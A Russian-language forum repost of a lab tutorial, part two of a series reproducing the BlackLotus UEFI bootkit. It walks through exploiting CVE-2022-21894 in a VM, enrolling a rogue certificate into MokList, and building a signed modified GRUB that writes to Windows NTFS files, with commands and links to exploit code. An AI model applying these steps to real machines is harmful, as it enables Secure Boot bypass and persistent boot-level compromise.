• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья BlackLotus UEFI bootkit

lukas

(L3) cache
Пользователь
Регистрация
11.10.2018
Сообщения
282
Реакции
691
Автор Шорин Роман @sh0r
Источник habr

Приветствую вас, дорогие читатели! Сегодня мы продолжим изучать BlackLotus UEFI bootkit. В прошлой части мы рассмотрели темы:

В предыдущей части мы выполнили следующие шаги:
1. Подготовка тестового стенда.
2. Запуск CVE-2022-21894 (baton drop).

В этой части мы сосредоточимся на следующих шагах:
3. Добавление сертификата в базу данных MOK.
4. Компиляция payload и компонентов для его выполнения.
5. Чтение и запись файлов в операционной системе Windows10 из файловой системы NTFS через grub.elf.


Рассмотрим подробнее, зачем нам это нужно. Поскольку grub.elf компилируется вручную, он не имеет валидной цифровой подписи. В такой ситуации Secure Boot не позволит его запустить, блокируя выполнение неподтверждённого или неподписанного кода. Чтобы обойти это ограничение, мы должны подписать grub.elf и добавить подпись в MOK (Machine Owner Key), который управляет доверенными ключами системы. Это обеспечит корректный запуск на устройстве с включённым Secure Boot.

MOK — часть механизма Secure Boot, который защищает систему от загрузки поддельного или вредоносного кода на этапе инициализации. Для работы с MOK используется утилита MokManager, доступная в репозитории rhboot/shim на GitHub.

Чтобы автоматизировать процесс добавления подписи в MOK, мы планируем использовать уязвимость CVE-2022-21894. Это позволит обойти защитные ограничения и запустить payload, встроенный в grub.elf. Благодаря этому мы получим доступ к функциям чтения и записи в файлы на NTFS.

3. Добавление сертификата в базу данных MOK.​

MOK (Machine Owner Key) — это сертификаты, которые добавляются пользователем для настройки доверенных ключей, используемых системой UEFI Secure Boot. В UEFI Secure Boot используется несколько ключевых переменных db, dbx и MokList, хранящихся в NVRAM, для обеспечения безопасности загрузки. NVRAM (Non-Volatile Random Access Memory) — это тип памяти, которая сохраняет данные даже после отключения питания. В контексте UEFI, NVRAM — это область памяти на материнской плате, куда записываются настройки и переменные UEFI, которые нужны для работы системы. Эти переменные сохраняются после перезагрузки или выключения компьютера.
- db (database)— основная база доверенных сертификатов. Это переменная, в которой хранятся доверенные сертификаты и хеши. Эти сертификаты используются для проверки подписи каждого компонента (загрузчика, драйвера и т. д.) при загрузке системы. Если сертификат или хеш компонента присутствует в `db`, то этот компонент считается доверенным, и его загрузка разрешена. Обычно в `db` хранятся ключи, подписанные производителями оборудования или операционных систем, такими как Microsoft. Это позволяет Secure Boot доверять стандартным загрузчикам операционных систем, драйверам и обновлениям.

- dbx (forbidden signatures database) — список заблокированных сертификатов. Это переменная, в которой хранятся сертификаты и хеши компонентов, загрузка которых запрещена. Этот список также называют списком заблокированных сертификатов. Если сертификат или хеш компонента присутствует в `dbx`, то его загрузка блокируется, даже если он есть в `db` или `MokList`. Это позволяет отклонять известные уязвимые или устаревшие компоненты. Производители ОС (например, Microsoft) периодически обновляют `dbx`, чтобы добавлять в него ключи устаревших или уязвимых загрузчиков и драйверов, предотвращая их загрузку.

- MokList - дополняет переменные `db` и `dbx` и создаёт более гибкую систему управления загрузочными компонентами. `MokList` (Machine Owner Key List) используется для хранения дополнительных сертификатов, которые пользователь или администратор системы добавил вручную. Пользователь может добавить свои сертификаты, например, с помощью утилиты `mokutil` в Linux, а затем подтвердить изменения через MOK Manager(rhboot/shim) при перезагрузке операционной системы.

Мы напишем свой код (кодовая база взята из проекта rhboot/shim), который будет добавлять нашу подпись в MokList. Этот код мы запустим с помощью CVE-2022-21894.

Начнем с подготовки среды для компиляции кода, среду будем подготавливать в виртуальной машине Windows 10×64-BatonDrop созданной в первой части статьи:
  • Установим Visual Studio 2017
    3caa8db56b2ab7d346a5d90683814bad.png
  • Установим git Git - Downloading Package (git-scm.com)
  • Установим https://github.com/ionescu007/VisualUefi, этот проект необходимо установить в корень диска C:
    Код:
    git clone https://github.com/ionescu007/VisualUefi --recurse-submodule
    c6fdeffbe8f88ebbd55a2be1787e8d6c.png
  • Установим nasm https://www.nasm.us/pub/nasm/releasebuilds/2.16.01/win64/, после установки nasm, необходимо прописать nasm в переменную Path= C:\Users\user\AppData\Local\bin\NASM и добавить переменную NASM_PREFIX= C:\Users\user\AppData\Local\bin\NASM\
    8eaf59ddbe86abcfda9286bc4702327d.png

    Переходим в папку C:\VisualUefi\EDK-II и запускаем проект EDK-II с помощью visual studio 2017
    210e82769e6fbfd179e17201c8a28a3a.png

    Компилируем проект EDK-II
    81d82c552d49dc4850115bf507e7b664.png

    Скачиваем проект MyMOKManager с github(https://github.com/roman5888/BlackLotus-UEFI/tree/main/samples/MyMOKManager), кладем его в папку C:\VisualUefi\samples\, запускаем проект MyMOKManager в Visual Studio и компилируем его
    0d391699b151c39a00022013815821cf.png

    Копируем MyMOKManager.efi и кладем рядом с разделом EFI. Это необходим для проверки корректности работы MyMOKManager.efi, чтобы убедиться, что он запускается и выполняет свои функции без ошибок.
    5218869bf928e0d6e64483c7b16de15b.png

    Выключаем виртуальную машину Windows 10×64-BatonDrop
    791dc0d3cff46ccd0b10bdda197da306.png

    Замечание: чтобы запустить UEFI Shell необходимо отключить Secure Boot у виртуальной машины.
    be06274bb1c9e70bf73b17e956af0b9f.png

    Перейдем в UEFI Shell:
    2f9689e03b973f6a3321a09573323cc9.png

    И запустим MyMOKManager.efi для проверки работоспособности:
    92f6b415e039a747cb3a2e35a6f1af68.png

    4. Компиляция компонентов для запуска MyMOKManager.efi.​

После того как мы научились добавлять свой сертификат в MokList. Нам необходимо запустить MyMOKManager.efi из контекста загрузочной среды UEFI, для этого воспользуемся CVE-2022-21894, которая состоит из двух частей.
Открываем MyMOKManager.efi в HxD(https://mh-nexus.de/en/hxd/)
be0ec0c28d77942130b3e3393b11c91f.png

Выделяем полностью байт код ctrl+A и копируем
39ec2f8aa48e01173e81dbb49e3c973d.png

Теперь открываем проект stage2 в VisualUefi и копируем байт код в массив PayloadBase из HxD и удаляем ненужный участок кода
7b2e98f010e4bb4a64c6977d9f829f82.png

Дальше компилируем stage2.
326f7c131d404571f11c5c236dd1b1ec.png

  • Первая часть CVE-2022-21894 - это mcupdate...dll, которая работает в контексте приложения (AplicatinContext) и запускает stage2. Скачиваем проект mcupdate с github(https://github.com/roman5888/BlackLotus-UEFI/tree/main/samples/mcupdate), кладем его в папку C:\VisualUefi\samples\.
    Кодовая база взята из проекта https://github.com/ASkyeye/CVE-2022-21894-Payload/blob/master/main.c
    Открываем stage2.dll в HxD
    011a4332a30416ff252eece492d80005.png

    Выделяем полностью байт код ctrl+A и копируем
    e766f23238f451cd8def24630d798960.png

    Теперь открываем проект mcupdate в VisualUefi и копируем байт код в массив efiApp из HxD и удаляем ненужный участок кода
    862a114314036e0ee698ea063e8f5534.png

    Дальше компилируем mcupdate.
    a9b5674df45b619affc689ba525ec4c6.png

    И копируем mcupdate.dll на флешку в папку EFI.
    cb7070f2f3ee1581c6999c76af9e4e98.png

5. Чтение и запись файлов в операционной системе Windows10 из файловой системы NTFS через grub.elf.​

В этой части мы начнем с установки Ubuntu, чтобы извлечь из нее ключевые модули, обеспечивающие загрузку операционной системы, включая shim и связанные компоненты. Затем внесем собственный код в grub. После этого скомпилируем обновленный grubx64.efi и подпишем его для дальнейшего использования. В конце мы соберем все компоненты вместе и перезапишем файл в Windows 10.
Cкачаем Ubuntu с https://archive.org/details/ubuntu-18-and-20
c688447279e228050479983329921435.png


Прежде чем приступить к установке Ubuntu 20.04.2, необходимо установить Windows 10. Это связано с тем, что Windows 10 понадобится для проверки корректной работы системы. Кроме того, установка Windows позволяет активировать функцию Secure Boot, которая в случае установки только Ubuntu 20.04.2 остаётся недоступной для включения, так как соответствующая опция не актива.
cdbefee3d70662a12bbd968d4344be23.png


Создадим виртуальную машину Windows 10 x64 (2) с Windows 10
914cfb89da115b2f0ff26c6689438c03.png


Включим secure boot в настройках виртуальной машины Windows 10 x64 (2)
d8da68a0a65bc1f81c518807db2f4a97.png


Дождемся установки Windows 10 и выключим виртуальную машину Windows 10 x64 (2)
840408c8d398f819d67474340d8acd56.png


Замечание: Так как Ubuntu 20.04.2 скачен не с официального сайта, будьте с ним осторожным.

Для установки Ubuntu 20.04.2 на виртуальную машину с Windows 10 x64 (2) потребуется выбрать соответствующий ISO-образ операционной системы и подключить его к виртуальному дисководу.
f6b712bf40becbcada9533235378ec24.png


Создадим жесткий диск, на который установим Ubuntu 20.04.2
76053f1cf88a3cec757ffe59b94fa95c.png


Отключаем интернет на виртуальной машине Windows 10 x64 (2). Это необходимо сделать, чтобы избежать обновления Ubuntu 20.04.2, которое приведёт к установке корректной версии shim.
d05ec72e64e66a2502a000ac8f5a2842.png


Теперь запускаем виртуальную машину Windows 10 x64 (2)
bf9ad651ca95364ca81a66a569f5accf.png


В grub выбираем установку
f5b45cc51998fd3e4ba9c37cfcdd74ce.png


Дальше мы устанавливаем Ubuntu 20.04.2 и просто жмем далее …
2b8aee4b17cb68dcdda9ebbaf819afa8.png
6796af3e9875c306d3940ad40373008f.png
b988e8a3d65e155c5eaf20a79a909e43.png
f8162cd68a36b4e69324258695698587.png
0781ff9592fb7bcf25e2b166dc18ce72.png
25883f2e9d027de5ef65e1befc47b8d5.png
7dceccaa53cb80882c01f057df363250.png
11c0cfe6b36263f58f2aaad6a5c6f584.png
3618a6cfb819ff52407ddc3efa7f9037.png
5f287885c944f09df5b31fbb5989ac1e.png

Выключаем виртуальную машину Windows 10 x64 (2)
b938a29e9bb0c2b63a9c75992164ef01.png


Включим интернет на виртуальной машине Windows 10 x64 (2)
d0e49dec42bb5fb78dcbe314cd954a49.png


Включаем виртуальную машину Windows 10 x64 (2) и выбираем Ubuntu 20.04.2
0cf99d82a3b4a3f1c6ef2c62022b34a7.png


После того как мы установили Ubuntu 20.04.2 нам необходимо скопировать папку EFI на usb флешку, мы вернемся к этой папке позже.
4e13242717d0d4fa7aa20e620eb0b7c2.png


После завершения установки Ubuntu и успешного извлечения shim вместе со всеми необходимыми компонентами, следующим шагом станет загрузка GRUB (GitHub - a1ive/grub: Fork of GRUB 2 to add various features.).
wget https://github.com/a1ive/grub/archive/refs/heads/master.zip
f61be698a27f47d9e270e7ef7f81ed86.png


unzip master.zip
307806f54b9d414afe8c2ec9cfed74fa.png


cd grub-master
a133c445a6c4a0a070c919da8a83edd5.png


Далее мы полностью заменим код в файле grub-core/commands/cat.c на наш собственный, этот код работет с файловой системой NTFS. Исходный код можно найти и загрузить из репозитория на GitHub(https://github.com/roman5888/BlackLotus-UEFI/blob/main/cat.c).
a07efccfb5181b35de219787779297da.png


Дальше скомпилируем grub и для этого проделаем следующие шаги
apt-get update
7e674742fb45a39162fb6ea5e2446837.png


apt-get install gcc make autoconf automake bison flex libdevmapper-dev libzfslinux-dev liblzma-dev binutils gettext unifont xz-utils libfreetype-dev libfreetype6-dev autopoint libtool-bin libtool pkg-config git
81ee30ad0740c8da118282741e5fb4b0.png


./bootstrap
86ca844829b3bf99d2f80903f0e3a35d.png


./configure --target=x86_64 --with-platform=efi
95403f956950290b627555b9333fa074.png


make
31d7fc9ca4a6ddc3826c417b154817ac.png


make install
bce5076b4e6f87b4ea3698c274985ceb.png


cd grub-core
c239948feb324819f380e29875954ccc.png


Код:
../grub-mkimage -O x86_64-efi -p "(hd0,gpt1)/EFI/ubuntu" -o grubx64.efi part_gpt probe part_msdos linux16 ntfs ntfscomp hfsplus fat exfat xzio ext2 normal chain boot configfile linux efi_uga loopback gfxterm videoinfo ls file efi_gop all_video video video_fb loadenv help reboot raid6rec raid5rec mdraid1x mdraid09 lvm diskfilter zfsinfo zfscrypt gcry_rijndael gcry_sha1 zfs true test sleep search search_fs_uuid search_fs_file search_label png password_pbkdf2 gcry_sha512 pbkdf2 part_apple minicmd memdisk lsacpi lssal lsefisystab lsefimmap lsefi disk keystatus jpeg iso9660 halt gfxterm_background gfxmenu trig bitmap_scale video_colors bitmap font fshelp efifwsetup echo terminal gettext efinet net priority_queue datetime bufio cat btrfs gzio lzopio crypto acpi extcmd mmap ntfs
Зачечание: "(hd0,gpt1)/EFI/ubuntu" - это путь где лежит grub.cfg файл.

8faf217c77eb7552d7fac35f27d17c80.png


Теперь необходимо подписать grubx64.elf, для этого выполним следующие команды

Создаем конфигурационный файл openssl.cnf
6180de7310adca68c1ba3c86f602c745.png


openssl req -config ./openssl.cnf -new -x509 -newkey rsa:2048 -nodes -days 3650 -outform DER -keyout MOK.key -out MOK.der
4bd6f2668a03aef9cf22adbd0ab59472.png


openssl x509 -in MOK.der -inform DER -outform PEM -out MOK.pem
3df4bb894825da9a69eac6aec7e01e11.png


sbsign --key MOK.key --cert MOK.pem grubx64.efi --output grubx64.efi.signed
d24cfafb54d8fd2ae9adf192f36fde3b.png


Теперь проверим, что подпись и файл grubx64.efi работают, для этого сделаем snapshot виртуальной машины Windows 10 x64 (2).
0d4e1d0d26c964e61ab276c04aee89e9.png


После snapshot’a скопируем grubx64.efi.signed в /boot/etf/ETF/ubuntu/grubx64.efi
ca07aaf7cac7230780d8ad0e800f6ced.png


Добавим MOK.der в MokList
27e754ff797ce2a0e695ab9615571654.png


Выключим и включим виртуальную машину Windows 10 x64 (2), при включении выберем ubuntu
714b150309e84193beabb20dbf56b2cd.png


Диалоговое окно Shim UEFI key management показывает, что необходимо подтвердить сертификата MOK.der, пароль мы задавали с помощью утилиты mokutil
12792ff879397a058aa210adf79d320d.png


Замечание: Если не подтвердить или что то не так с сертификатом MOK.der, появиться ошибка
02171c3392852b9b182ff904499d0be4.png


И после перезагрузки видим, что запускается grub 2.11
9bf3510fce0a596a562bd82f942b09ad.png


Теперь вернемся к snapshot good
aecb6d79c9e8934c31d1facdb5bee1b3.png

И скопируем grubx64.efi.signed grubx64.efi MOK.der MOK.pem MOK.key на usb флешку
cf3beba86e90a2054b7dfc1bd12985cb.png

В заключении нам необходимо собрать все компоненты вместе и запустить poc

Запускаем виртуальную машину Windows 10×64-BatonDrop, созданную в первой части статьи, чтобы продолжить работу в подготовленной среде. Однако, на всякий случай, повторим все необходимые шаги.
Начнём с примонтировать "Системного раздела EFI".

Add-PartitionAccessPath -DiskNumber 0 -PartitionNumber 1 -AccessPath 'E:'

89fb12f3ea29eb5cab3fffa8a006d575.png


Создадим копию оригинального файла BCD и назовём её BCDR.
98da9f787d43a6014432c2e2d10a28e2.png


Импортируем bcd файл из poc_amd64_19041.iso с помощью bcdedit.exe.
f060e5c0ea634ded71c5e443028b5ca7.png


Копируем файлы из poc_amd64_19041.iso (https://github.com/Wack0/CVE-2022-21894/blob/main/pocs/poc_amd64_19041.iso) в системный раздел. (Total Commander нужно запускать с правами администратора).
a724220afc25542bcb62de4e269b9289.png


Копируем с флешки файл F:\EFI\ mcupdate.dll в E:\system32\mcupdate_GenuineIntel.dll и копируем с флешки файл F:\EFI\ mcupdate.dll в E:\system32\mcupdate_AuthenticAMD.dll
e833c45ee5f51662e2175ebf4e905ff6.png


Копируем с флешки папку F:\EFI\ubuntu в E:\EFI\ubuntu
4a181fb99b6a81ea58aa295016a0c9c2.png


Копируем с флешки файл F:\EFI\grubx64.efi.signed в E:\EFI\ubuntu\grubx64.efi
a28f5de2cc87c4ab47c0c8df9565d297.png

Копируем в E:\EFI\ubuntu\grub.cfg следующий код
Код:
menuentry 'Windows 10' {
insmod part_gpt
insmod fat
insmod cat
cat
probe --set devuuid --fs-uuid (hd0,gpt1)
search --fs-uuid --set=root $devuuid

chainloader /EFI/Microsoft/Boot/bootmgfw.efi
clear
}


5fb4fea0bbd4defa41d41e0eb935deab.png


Копируем с флешки файл F:\EFI\Boot\fbx64.efi в E:\EFI\Boot\fbx64.efi
c9042e85967a7a104575318b4d97265e.png


Создадим папку certs в E:\EFI и скопируем с флешки файл F:\EFI\MOK.der в E:\EFI\certs\MOK.der
e51a971089dcd7b2d3b70aa935b523a0.png


Создадим файл test.txt на рабочем столе, этот файл будет изменен с помощью добавленного нами кода в grubx64.efi
b05ee09c3e6e1ba94f5fbfd4ec907de4.png


Выключаем виртуальную машину Windows 10×64-BatonDrop
aef2f7e13c720cfb136e3920f227f47f.png


Проверим что “Virtualize Intel VT-x/EPT or AMD-V/RVI” и “Enable secure boot” включены
94ccff378e93a5d31c8ee62efed80184.png


Включаем виртуальную машину Windows 10×64-BatonDrop
d9b5348b125724ca96ee809d2f802cc8.png


Мы наблюдаем срабатывание уязвимости CVE-2022-21894 (baton drop).
c609db177456ed6ed673d0f926aa534e.png


Перезапускаем виртуальную машину Windows 10×64-BatonDrop, после чего перед нами появляется загрузочное меню GRUB 2.11. В этом меню выбираем Windows 10 для продолжения работы.
493df9c513d0bce00f8b2b8b442942f5.png


После выбора Windows 10 в GRUB, загрузчик выполняет код, который активирует систему и инициализирует необходимые процессы. В рамках этого процесса выполнено действие по перезаписи файла test.txt, расположенного на рабочем столе пользователя в C:\Users\user\Desktop\
9283c4e36156177e23874c5ca146a604.png


В заключение, после выполнения всех операций и завершения процесса загрузки, мы можем обнаружить, что файл test.txt, находившийся на рабочем столе пользователя по пути C:\Users\user\Desktop\, был успешно перезаписан. Этот файл теперь содержит обновлённые данные, отражающие результаты завершённой операции, произошедших в ходе работы системы.

Такое завершение процесса подчеркивает итоговую трансформацию данных, а сам файл test.txt становится наглядным подтверждением выполненной задачи по изменению файла.

08bf71ab55adcf6af0b5e7a793ec02a5.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх